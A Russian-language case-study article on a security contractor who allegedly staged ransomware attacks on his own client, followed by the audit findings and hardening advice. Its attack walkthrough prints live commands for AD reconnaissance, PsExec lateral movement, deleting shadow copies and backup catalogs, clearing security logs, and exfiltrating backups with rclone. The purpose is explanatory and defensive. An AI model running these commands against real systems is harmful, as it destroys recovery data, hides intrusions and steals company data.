Переговорщик с двойным дном: как ИБ-подрядчик зарабатывал на выкупах, которые сам же и организовывал

Формально у компании был подрядчик по кибербезопасности: он вёл переговоры с вымогателями, «спасал» данные, консультировал по защите. Фактически — знал о сети больше, чем штатный админ, и этим знанием пользовался вторая сторона конфликта. Разбираем, как устроена такая схема технически: почему легитимный доступ подрядчика оказывается опаснее внешнего взлома, и как это вскрылось при аудите.

Отправная точка: доступ, который не отозвали

После второй атаки шифровальщика за год владелец производственной компании обратился за независимым аудитом. Ключевая деталь, которая сразу насторожила: обе атаки произошли вскоре после плановых «профилактических» сессий подрядчика с административным доступом. Совпадение само по себе не улика — но оно задаёт направление проверки: смотреть не на периметр, а на internal-доступы и журналы авторизаций за 30–60 дней до инцидента.

Как это эксплуатируется

Схема «двойного агента» в ИБ-аутсорсе технически проще классического взлома — злоумышленнику не нужно преодолевать периметр, у него уже есть легитимные credentials. Разберём типовую цепочку шаг за шагом, как она реализуется на практике.

Шаг 1. Легитимная разведка сети под видом обслуживания

Подрядчику дают admin-доступ «для профилактики» — обычно через RDP или VPN с доменной учёткой уровня Domain Admin или Enterprise Admin. Дальше — стандартная разведка внутренней инфраструктуры, ничем не отличающаяся от той, что делает пентестер, только без ограничений по времени и без отчёта заказчику о находках.

nmap -sV -p 22,80,135,139,443,445,1433,3389,5985 10.10.0.0/16 -oN internal_scan.txt

Nmap scan report for 10.10.4.12
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds  Windows Server 2012 R2 (workgroup: CORP)
1433/tcp open  ms-sql-s      Microsoft SQL Server 2014 12.00.2000
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Дальше — сбор карты домена через BloodHound/SharpHound, чтобы найти кратчайший путь к контроллерам домена и файловым серверам с бэкапами:

SharpHound.exe -c All --domain corp.local --zipfilename recon_$(date +%F)

[+] Collected data from 214 computers
[+] Compressing data to recon_2024-03-11.zip

Результат загружается в BloodHound GUI, где за пару кликов видна цепочка: Contractor_Admin → Domain Admins → GPO write on Backup Server. Это ровно то, что «профилактика» подрядчика в кейсе выше давала бесплатно и легально, без единого эксплойта.

Шаг 2. Инвентаризация бэкапов и расписания

Зная расписание резервного копирования, атака планируется так, чтобы шифровальщик стартовал сразу после ротации бэкапов, но до их проверки на целостность. Команда для быстрой проверки, где лежат VSS-копии и куда идут бэкапы:

vssadmin list shadows /for=C:
wmic shadowcopy get *
Get-WBSummary  # Windows Server Backup, для оценки расписания и целевого хранилища

В логах это выглядит безобидно на этапе разведки — стандартные Event ID 4624 (успешный вход), 4648 (вход с явными учётными данными) и 4672 (назначены привилегии администратора) от учётной записи подрядчика, ничем не отличаясь от легитимного обслуживания.

Шаг 3. Подготовка к развёртыванию и удаление точек восстановления

В момент реальной атаки (иногда через несколько недель после «профилактики», чтобы разорвать корреляцию по времени) используются штатные административные инструменты — living-off-the-land, без стороннего ПО, что резко снижает шанс детекта антивирусом:

psexec.exe \\10.10.4.12 -u CORP\contractor_admin -p *** cmd.exe
vssadmin delete shadows /all /quiet
wbadmin delete catalog -quiet
wevtutil cl Security

Событие создания службы PsExec (Event ID 7045, имя службы вида PSEXESVC) и массовое удаление теневых копий — классические индикаторы компрометации (IOC), которые ищут в SIEM. Но если это делает «свой» подрядчик под своей учёткой в рабочее время — правило корреляции срабатывает намного реже, потому что действие выглядит легитимным.

Шаг 4. Точный расчёт суммы выкупа

Здесь и кроется главная улика из аудита: подрядчик заранее готовил «оценку ущерба для страховки» — по сути, финансовую модель компании (оборот, маржу, критичность простоя производства). Эти цифры без изменений превращались в сумму требования вымогателей. Технически это не эксплойт, а социально-инженерный слепок: злоумышленник точно знает порог боли жертвы и не завышает требование до уровня отказа платить.

Что и почему сработало бы дальше

• Двойное вымогательство: перед шифрованием обычно происходит эксфильтрация данных — типично через rclone с настройкой на облачное хранилище злоумышленника, что не детектится DLP, если правило настроено только на известные почтовые домены.
• Продажа повторного доступа: учётка подрядчика, которую забыли отключить, легко перепродаётся на теневых форумах как initial access — рынок IAB (Initial Access Broker) активно торгует именно такими «спящими» доменными аккаунтами.
• Повторная атака под тем же прикрытием: раз компания уже один раз заплатила и восстановила доверие к подрядчику, психологически ей проще заплатить снова, чем сменить схему защиты — что и произошло во втором эпизоде.

rclone copy D:\Backups\ remote:exfil --transfers 16 --bwlimit 10M
2024/03/11 02:14:02 INFO : Transferred: 412.6 GiB / 412.6 GiB, 100%

Экспорт идёт ночью, с ограничением скорости, чтобы не вызвать алерт по аномальному трафику на файрволе — ещё одна деталь, которую видит только тот, кто заранее знает расписание мониторинга.

Как это вскрылось при аудите

Ключевые проверки, которые дали результат:

• Выгрузка Active Directory на предмет «висящих» учёток бывших подрядчиков: Get-ADUser -Filter {Enabled -eq $true} -Properties LastLogonDate | Where LastLogonDate -lt (Get-Date).AddDays(-90) — нашлись три активные записи без реальной надобности в них.
• Сопоставление таймлайна логов входа подрядчика (Event ID 4624/4648) с таймлайном начала шифрования — разрыв в 11–14 дней оба раза, что укладывается в типичное окно между recon и деплоем шифровальщика.
• Сравнение «оценки ущерба для страховки» с суммой в переписке с вымогателями — совпадение цифр с точностью до процента, что статистически не объясняется случайностью.

Как закрыть — практические шаги

• Временный доступ вместо постоянного. Внешние учётки — только через just-in-time provisioning с автоматическим отключением по истечении срока (например, PAM-решение или встроенный Azure AD PIM с активацией на конкретный тикет).
• Разделение обязанностей. Тот, кто ведёт переговоры с вымогателями, не должен иметь административный доступ к продуктивной инфраструктуре — это конфликт интересов по определению.
• Иммутабельные и изолированные бэкапы. Резервные копии — в отдельном домене/тенанте, без доверительных отношений с продуктивным AD, с write-once хранением (S3 Object Lock, immutable snapshots).
• Мониторинг административных действий сторонних учёток отдельным правилом SIEM:

index=security EventCode=4672 Account_Name="contractor_*"
| stats count by Account_Name, Computer, _time
| where count > 5

• Алерты на удаление теневых копий и очистку логов — Event ID 7045 (PSEXESVC), 1102 (очистка журнала аудита), запуск vssadmin delete shadows должны триггерить немедленное уведомление в мессенджер руководителю, а не только тикет в IT.
• Регулярный аудит прав доступа всех подрядчиков, а не только штатных сотрудников — раз в квартал, с явным отзывом по завершении проекта, а не «по памяти».
• MFA на все административные сессии, включая VPN и RDP-джампхосты, чтобы даже утечка пароля подрядчика не давала прямого доступа без второго фактора.

Специалист по кибербезопасности с полным доступом к инфраструктуре и без контроля со стороны компании — это не защита, а вторая точка входа для атаки.

Технически история не про экзотический эксплойт и не про 0-day. Это про то, что легитимный административный доступ, выданный однажды и забытый навсегда, работает лучше любого CVE — потому что не требует эксплуатации, не палится антивирусом и выглядит в логах как обычный рабочий день.